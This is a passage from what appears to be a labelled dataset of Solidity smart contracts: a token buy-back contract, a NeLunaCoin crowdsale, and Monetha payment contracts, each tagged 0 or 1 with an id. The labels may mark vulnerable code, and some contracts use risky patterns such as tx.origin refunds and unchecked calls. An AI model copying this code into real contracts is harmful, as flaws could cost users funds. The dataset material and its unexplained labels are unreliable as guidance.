_createSale( nftId, _startPrice, 0, SALES_DURATION, address(this) ); } } }
1
4,633
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; pragma solidity ^0.8.4; contract OKLGWithdrawable is Ownable { function withdrawTokens(address _tokenAddy, uint256 _amount) external onlyOwner { IERC20 _token = IERC20(_tokenAddy); _amount = _amount > 0 ? _amount : _token.balanceOf(address(this)); require(_amount > 0, 'make sure there is a balance available to withdraw'); _token.transfer(owner(), _amount); } function withdrawETH() external onlyOwner { payable(owner()).call{ value: address(this).balance }(''); } } contract MCCBuyBack is OKLGWithdrawable { address public receiver = 0x4Fd61669334F6feDf5741Bfb56FE673bD53a730F; address public MCC = 0xC146B7CdBaff065090077151d391f4c96Aa09e0C; address public stable = 0x55d398326f99059fF775485246999027B3197955; IUniswapV2Router02 private router; constructor() { if (block.chainid == 56) { router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); } else if (block.chainid == 97) { router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); } else if (block.chainid == 1 || block.chainid == 4) { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } else if (block.chainid == 43114) { router = IUniswapV2Router02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4); } else if (block.chainid == 250) { router = IUniswapV2Router02(0xF491e7B69E4244ad4002BC14e878a34207E38c29); } else { revert(); } if (block.chainid == 56) { stable = 0x55d398326f99059fF775485246999027B3197955; } else if (block.chainid == 97) { stable = 0x55d398326f99059fF775485246999027B3197955; } else if (block.chainid == 1 || block.chainid == 4) { stable = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; } else if (block.chainid == 43114) { stable = 0x55d398326f99059fF775485246999027B3197955; } else if (block.chainid == 250) { stable = 0x04068DA6C83AFCFA0e13ba15A6696662335D5B75; } else { revert(); } } receive() external payable {} function BuyforRewardsUsingTreasury() external payable { require(msg.value >= 0.01 ether, 'Ensure Buy Back is Matched'); require((address(this).balance >= 0.1 ether), 'Ensure Buy Back Funds Are Present'); uint256 refundAmount = msg.value / 2; uint256 swapAmount = (msg.value * 10) + refundAmount; uint deadline = block.timestamp + 15; address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = MCC; router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: swapAmount }( 0, path, receiver, deadline ); address[] memory pathstable = new address[](2); pathstable[0] = router.WETH(); pathstable[1] = stable; router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: refundAmount }( 0, pathstable, tx.origin, deadline ); } function setMCC(address _MCC) external onlyOwner { MCC = _MCC; } function setStables(address _stable) external onlyOwner { stable = _stable; } function setReceiver(address _receiver) external onlyOwner { receiver = _receiver; } }
0
1,510
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract FinalizableCrowdsale is Ownable, TimedCrowdsale { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() public onlyOwner { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract Escrow is Ownable { using SafeMath for uint256; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private deposits; function depositsOf(address _payee) public view returns (uint256) { return deposits[_payee]; } function deposit(address _payee) public onlyOwner payable { uint256 amount = msg.value; deposits[_payee] = deposits[_payee].add(amount); emit Deposited(_payee, amount); } function withdraw(address _payee) public onlyOwner { uint256 payment = deposits[_payee]; assert(address(this).balance >= payment); deposits[_payee] = 0; _payee.transfer(payment); emit Withdrawn(_payee, payment); } } contract ConditionalEscrow is Escrow { function withdrawalAllowed(address _payee) public view returns (bool); function withdraw(address _payee) public { require(withdrawalAllowed(_payee)); super.withdraw(_payee); } } contract RefundEscrow is Ownable, ConditionalEscrow { enum State { Active, Refunding, Closed } event Closed(); event RefundsEnabled(); State public state; address public beneficiary; constructor(address _beneficiary) public { require(_beneficiary != address(0)); beneficiary = _beneficiary; state = State.Active; } function deposit(address _refundee) public payable { require(state == State.Active); super.deposit(_refundee); } function close() public onlyOwner { require(state == State.Active); state = State.Closed; emit Closed(); } function enableRefunds() public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function beneficiaryWithdraw() public { require(state == State.Closed); beneficiary.transfer(address(this).balance); } function withdrawalAllowed(address _payee) public view returns (bool) { return state == State.Refunding; } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundEscrow private escrow; constructor(uint256 _goal) public { require(_goal > 0); escrow = new RefundEscrow(wallet); goal = _goal; } function claimRefund() public { require(isFinalized); require(!goalReached()); escrow.withdraw(msg.sender); } function goalReached() public view returns (bool) { return weiRaised >= goal; } function finalization() internal { if (goalReached()) { escrow.close(); escrow.beneficiaryWithdraw(); } else { escrow.enableRefunds(); } super.finalization(); } function _forwardFunds() internal { escrow.deposit.value(msg.value)(msg.sender); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract NeLunaCoin is StandardToken { using SafeERC20 for ERC20; string public name = "NeLunaCoin"; string public symbol = "NLC"; uint8 public decimals = 18; uint public INITIAL_SUPPLY = 1200000000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(this), msg.sender, INITIAL_SUPPLY); } } contract NeLunaCoinCrowdsale is RefundableCrowdsale { uint256 period1; uint256 period2; uint256 period3; event GetTokensBack(uint256 amount); event SendTokensToContributor(address contributor, uint256 tokenAmount); struct Contributor { address addressBuyer; uint256 tokensAmount; bool tokensSent; } Contributor[] contributors; constructor(uint256 _openingTime, uint256 _closingTime, uint _rate, address _wallet, ERC20 _token, uint256 _goal, uint256 _period1, uint256 _period2, uint256 _period3) public FinalizableCrowdsale() TimedCrowdsale(_openingTime, _closingTime) Crowdsale(_rate, _wallet, _token) RefundableCrowdsale(_goal) { period1 = _period1; period2 = _period2; period3 = _period3; } function () external payable { buyTokens(msg.sender); } function getContributors() public view returns (uint256) { return contributors.length; } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { if(period1 >= block.timestamp) { return _weiAmount.mul(rate) + (_weiAmount.mul(rate).div(100).mul(35)); } if(period2 >= block.timestamp) { return _weiAmount.mul(rate) + (_weiAmount.mul(rate).div(100).mul(25)); } if(period3 >= block.timestamp) { return _weiAmount.mul(rate) + (_weiAmount.mul(rate).div(100).mul(15)); } return _weiAmount.mul(rate); } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { contributors.push(Contributor(_beneficiary, _tokenAmount, false)); } function sendTokensAfterCrowdsale(uint256 start, uint256 end) public { require(isFinalized); require(hasClosed()); require(contributors.length > 0); if(goalReached()) { require(start < end && end < contributors.length); for(uint256 i = start; i <= end; i++) { if(contributors[i].tokensSent == false) { contributors[i].tokensSent = true; token.safeTransfer(contributors[i].addressBuyer, contributors[i].tokensAmount); emit SendTokensToContributor(contributors[i].addressBuyer, contributors[i].tokensAmount); } } } } function getTokensBackAFterCorwdsale() onlyOwner public { require(isFinalized); require(hasClosed()); uint256 tokensLeft = token.balanceOf(address(this)); token.transfer(wallet, tokensLeft); emit GetTokensBack(tokensLeft); } }
1
3,540
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract Destructible is Ownable { function destroy() public onlyOwner { selfdestruct(owner); } function destroyAndSend(address _recipient) public onlyOwner { selfdestruct(_recipient); } } contract Contactable is Ownable { string public contactInformation; function setContactInformation(string _info) public onlyOwner { contactInformation = _info; } } contract Restricted is Ownable { event MonethaAddressSet( address _address, bool _isMonethaAddress ); mapping (address => bool) public isMonethaAddress; modifier onlyMonetha() { require(isMonethaAddress[msg.sender]); _; } function setMonethaAddress(address _address, bool _isMonethaAddress) onlyOwner public { isMonethaAddress[_address] = _isMonethaAddress; emit MonethaAddressSet(_address, _isMonethaAddress); } } interface IMonethaVoucher { function totalInSharedPool() external view returns (uint256); function toWei(uint256 _value) external view returns (uint256); function fromWei(uint256 _value) external view returns (uint256); function applyDiscount(address _for, uint256 _vouchers) external returns (uint256 amountVouchers, uint256 amountWei); function applyPayback(address _for, uint256 _amountWei) external returns (uint256 amountVouchers); function buyVouchers(uint256 _vouchers) external payable; function sellVouchers(uint256 _vouchers) external returns(uint256 weis); function releasePurchasedTo(address _to, uint256 _value) external returns (bool); function purchasedBy(address owner) external view returns (uint256); } contract GenericERC20 { function totalSupply() public view returns (uint256); function decimals() public view returns(uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public; function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract MonethaGateway is Pausable, Contactable, Destructible, Restricted { using SafeMath for uint256; string constant VERSION = "0.6"; uint public constant FEE_PERMILLE = 15; uint public constant PERMILLE_COEFFICIENT = 1000; address public monethaVault; address public admin; IMonethaVoucher public monethaVoucher; uint public MaxDiscountPermille; event PaymentProcessedEther(address merchantWallet, uint merchantIncome, uint monethaIncome); event PaymentProcessedToken(address tokenAddress, address merchantWallet, uint merchantIncome, uint monethaIncome); event MonethaVoucherChanged( address indexed previousMonethaVoucher, address indexed newMonethaVoucher ); event MaxDiscountPermilleChanged(uint prevPermilleValue, uint newPermilleValue); constructor(address _monethaVault, address _admin, IMonethaVoucher _monethaVoucher) public { require(_monethaVault != 0x0); monethaVault = _monethaVault; setAdmin(_admin); setMonethaVoucher(_monethaVoucher); setMaxDiscountPermille(700); } function acceptPayment(address _merchantWallet, uint _monethaFee, address _customerAddress, uint _vouchersApply, uint _paybackPermille) external payable onlyMonetha whenNotPaused returns (uint discountWei){ require(_merchantWallet != 0x0); uint price = msg.value; require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(price).div(1000)); discountWei = 0; if (monethaVoucher != address(0)) { if (_vouchersApply > 0 && MaxDiscountPermille > 0) { uint maxDiscountWei = price.mul(MaxDiscountPermille).div(PERMILLE_COEFFICIENT); uint maxVouchers = monethaVoucher.fromWei(maxDiscountWei); uint vouchersApply = _vouchersApply; if (vouchersApply > maxVouchers) { vouchersApply = maxVouchers; } (, discountWei) = monethaVoucher.applyDiscount(_customerAddress, vouchersApply); } if (_paybackPermille > 0) { uint paybackWei = price.sub(discountWei).mul(_paybackPermille).div(PERMILLE_COEFFICIENT); if (paybackWei > 0) { monethaVoucher.applyPayback(_customerAddress, paybackWei); } } } uint merchantIncome = price.sub(_monethaFee); _merchantWallet.transfer(merchantIncome); monethaVault.transfer(_monethaFee); emit PaymentProcessedEther(_merchantWallet, merchantIncome, _monethaFee); } function acceptTokenPayment( address _merchantWallet, uint _monethaFee, address _tokenAddress, uint _value ) external onlyMonetha whenNotPaused { require(_merchantWallet != 0x0); require(_monethaFee >= 0 && _monethaFee <= FEE_PERMILLE.mul(_value).div(1000)); uint merchantIncome = _value.sub(_monethaFee); GenericERC20(_tokenAddress).transfer(_merchantWallet, merchantIncome); GenericERC20(_tokenAddress).transfer(monethaVault, _monethaFee); emit PaymentProcessedToken(_tokenAddress, _merchantWallet, merchantIncome, _monethaFee); } function changeMonethaVault(address newVault) external onlyOwner whenNotPaused { monethaVault = newVault; } function setMonethaAddress(address _address, bool _isMonethaAddress) public { require(msg.sender == admin || msg.sender == owner); isMonethaAddress[_address] = _isMonethaAddress; emit MonethaAddressSet(_address, _isMonethaAddress); } function setAdmin(address _admin) public onlyOwner { require(_admin != address(0)); admin = _admin; } function setMonethaVoucher(IMonethaVoucher _monethaVoucher) public onlyOwner { if (monethaVoucher != _monethaVoucher) { emit MonethaVoucherChanged(monethaVoucher, _monethaVoucher); monethaVoucher = _monethaVoucher; } } function setMaxDiscountPermille(uint _maxDiscountPermille) public onlyOwner { require(_maxDiscountPermille <= PERMILLE_COEFFICIENT); emit MaxDiscountPermilleChanged(MaxDiscountPermille, _maxDiscountPermille); MaxDiscountPermille = _maxDiscountPermille; } } contract SafeDestructible is Ownable { function destroy() onlyOwner public { require(address(this).balance == 0); selfdestruct(owner); } } contract MerchantWallet is Pausable, SafeDestructible, Contactable, Restricted { string constant VERSION = "0.5"; address public merchantAccount; address public merchantFundAddress; bytes32 public merchantIdHash; mapping (string=>string) profileMap; mapping (string=>string) paymentSettingsMap; mapping (string=>uint32) compositeReputationMap; uint8 public constant REPUTATION_DECIMALS = 4; modifier onlyMerchant() { require(msg.sender == merchantAccount); _; } modifier isEOA(address _fundAddress) { uint256 _codeLength; assembly {_codeLength := extcodesize(_fundAddress)} require(_codeLength == 0, "sorry humans only"); _; } modifier onlyMerchantOrMonetha() { require(msg.sender == merchantAccount || isMonethaAddress[msg.sender]); _; } constructor(address _merchantAccount, string _merchantId, address _fundAddress) public isEOA(_fundAddress) { require(_merchantAccount != 0x0); require(bytes(_merchantId).length > 0); merchantAccount = _merchantAccount; merchantIdHash = keccak256(abi.encodePacked(_merchantId)); merchantFundAddress = _fundAddress; } function () external payable { } function profile(string key) external constant returns (string) { return profileMap[key]; } function paymentSettings(string key) external constant returns (string) { return paymentSettingsMap[key]; } function compositeReputation(string key) external constant returns (uint32) { return compositeReputationMap[key]; } function setProfile( string profileKey, string profileValue, string repKey, uint32 repValue ) external onlyOwner { profileMap[profileKey] = profileValue; if (bytes(repKey).length != 0) { compositeReputationMap[repKey] = repValue; } } function setPaymentSettings(string key, string value) external onlyOwner { paymentSettingsMap[key] = value; } function setCompositeReputation(string key, uint32 value) external onlyMonetha { compositeReputationMap[key] = value; } function doWithdrawal(address beneficiary, uint amount) private { require(beneficiary != 0x0); beneficiary.transfer(amount); } function withdrawTo(address beneficiary, uint amount) public onlyMerchant whenNotPaused { doWithdrawal(beneficiary, amount); } function withdraw(uint amount) external onlyMerchant { withdrawTo(msg.sender, amount); } function withdrawToExchange(address depositAccount, uint amount) external onlyMerchantOrMonetha whenNotPaused { doWithdrawal(depositAccount, amount); } function withdrawAllToExchange(address depositAccount, uint min_amount) external onlyMerchantOrMonetha whenNotPaused { require (address(this).balance >= min_amount); doWithdrawal(depositAccount, address(this).balance); } function withdrawAllTokensToExchange(address _tokenAddress, address _depositAccount, uint _minAmount) external onlyMerchantOrMonetha whenNotPaused { require(_tokenAddress != address(0)); uint balance = GenericERC20(_tokenAddress).balanceOf(address(this)); require(balance >= _minAmount); GenericERC20(_tokenAddress).transfer(_depositAccount, balance); } function changeMerchantAccount(address newAccount) external onlyMerchant whenNotPaused { merchantAccount = newAccount; } function changeFundAddress(address newFundAddress) external onlyMerchant isEOA(newFundAddress) { merchantFundAddress = newFundAddress; } } contract PrivatePaymentProcessor is Pausable, Destructible, Contactable, Restricted { using SafeMath for uint256; string constant VERSION = "0.6"; uint public constant PAYBACK_PERMILLE = 2; event OrderPaidInEther( uint indexed _orderId, address indexed _originAddress, uint _price, uint _monethaFee, uint _discount ); event OrderPaidInToken( uint indexed _orderId, address indexed _originAddress, address indexed _tokenAddress, uint _price, uint _monethaFee ); event PaymentsProcessed( address indexed _merchantAddress, uint _amount, uint _fee ); event PaymentRefunding( uint indexed _orderId, address indexed _clientAddress, uint _amount, string _refundReason ); event PaymentWithdrawn( uint indexed _orderId, address indexed _clientAddress, uint amount ); MonethaGateway public monethaGateway; MerchantWallet public merchantWallet; bytes32 public merchantIdHash; enum WithdrawState {Null, Pending, Withdrawn} struct Withdraw { WithdrawState state; uint amount; address clientAddress; address tokenAddress; } mapping(uint => Withdraw) public withdrawals; constructor( string _merchantId, MonethaGateway _monethaGateway, MerchantWallet _merchantWallet ) public { require(bytes(_merchantId).length > 0); merchantIdHash = keccak256(abi.encodePacked(_merchantId)); setMonethaGateway(_monethaGateway); setMerchantWallet(_merchantWallet); } function payForOrder( uint _orderId, address _originAddress, uint _monethaFee, uint _vouchersApply ) external payable whenNotPaused { require(_orderId > 0); require(_originAddress != 0x0); require(msg.value > 0); address fundAddress; fundAddress = merchantWallet.merchantFundAddress(); uint discountWei = 0; if (fundAddress != address(0)) { discountWei = monethaGateway.acceptPayment.value(msg.value)( fundAddress, _monethaFee, _originAddress, _vouchersApply, PAYBACK_PERMILLE); } else { discountWei = monethaGateway.acceptPayment.value(msg.value)( merchantWallet, _monethaFee, _originAddress, _vouchersApply, PAYBACK_PERMILLE); } emit OrderPaidInEther(_orderId, _originAddress, msg.value, _monethaFee, discountWei); } function payForOrderInTokens( uint _orderId, address _originAddress, uint _monethaFee, address _tokenAddress, uint _orderValue ) external whenNotPaused { require(_orderId > 0); require(_originAddress != 0x0); require(_orderValue > 0); require(_tokenAddress != address(0)); address fundAddress; fundAddress = merchantWallet.merchantFundAddress(); GenericERC20(_tokenAddress).transferFrom(msg.sender, address(this), _orderValue); GenericERC20(_tokenAddress).transfer(address(monethaGateway), _orderValue); if (fundAddress != address(0)) { monethaGateway.acceptTokenPayment(fundAddress, _monethaFee, _tokenAddress, _orderValue); } else { monethaGateway.acceptTokenPayment(merchantWallet, _monethaFee, _tokenAddress, _orderValue); } emit OrderPaidInToken(_orderId, _originAddress, _tokenAddress, _orderValue, _monethaFee); } function refundPayment( uint _orderId, address _clientAddress, string _refundReason ) external payable onlyMonetha whenNotPaused { require(_orderId > 0); require(_clientAddress != 0x0); require(msg.value > 0); require(WithdrawState.Null == withdrawals[_orderId].state); withdrawals[_orderId] = Withdraw({ state : WithdrawState.Pending, amount : msg.value, clientAddress : _clientAddress, tokenAddress: address(0) }); emit PaymentRefunding(_orderId, _clientAddress, msg.value, _refundReason); } function refundTokenPayment( uint _orderId, address _clientAddress, string _refundReason, uint _orderValue, address _tokenAddress ) external onlyMonetha whenNotPaused { require(_orderId > 0); require(_clientAddress != 0x0); require(_orderValue > 0); require(_tokenAddress != address(0)); require(WithdrawState.Null == withdrawals[_orderId].state); GenericERC20(_tokenAddress).transferFrom(msg.sender, address(this), _orderValue); withdrawals[_orderId] = Withdraw({ state : WithdrawState.Pending, amount : _orderValue, clientAddress : _clientAddress, tokenAddress : _tokenAddress }); emit PaymentRefunding(_orderId, _clientAddress, _orderValue, _refundReason); } function withdrawRefund(uint _orderId) external whenNotPaused { Withdraw storage withdraw = withdrawals[_orderId]; require(WithdrawState.Pending == withdraw.state); require(withdraw.tokenAddress == address(0)); address clientAddress = withdraw.clientAddress; uint amount = withdraw.amount; withdraw.state = WithdrawState.Withdrawn; clientAddress.transfer(amount); emit PaymentWithdrawn(_orderId, clientAddress, amount); } function withdrawTokenRefund(uint _orderId, address _tokenAddress) external whenNotPaused { require(_tokenAddress != address(0)); Withdraw storage withdraw = withdrawals[_orderId]; require(WithdrawState.Pending == withdraw.state); require(withdraw.tokenAddress == _tokenAddress); address clientAddress = withdraw.clientAddress; uint amount = withdraw.amount; withdraw.state = WithdrawState.Withdrawn; GenericERC20(_tokenAddress).transfer(clientAddress, amount); emit PaymentWithdrawn(_orderId, clientAddress, amount); } function setMonethaGateway(MonethaGateway _newGateway) public onlyOwner { require(address(_newGateway) != 0x0); monethaGateway = _newGateway; } function setMerchantWallet(MerchantWallet _newWallet) public onlyOwner { require(address(_newWallet) != 0x0); require(_newWallet.merchantIdHash() == merchantIdHash); merchantWallet = 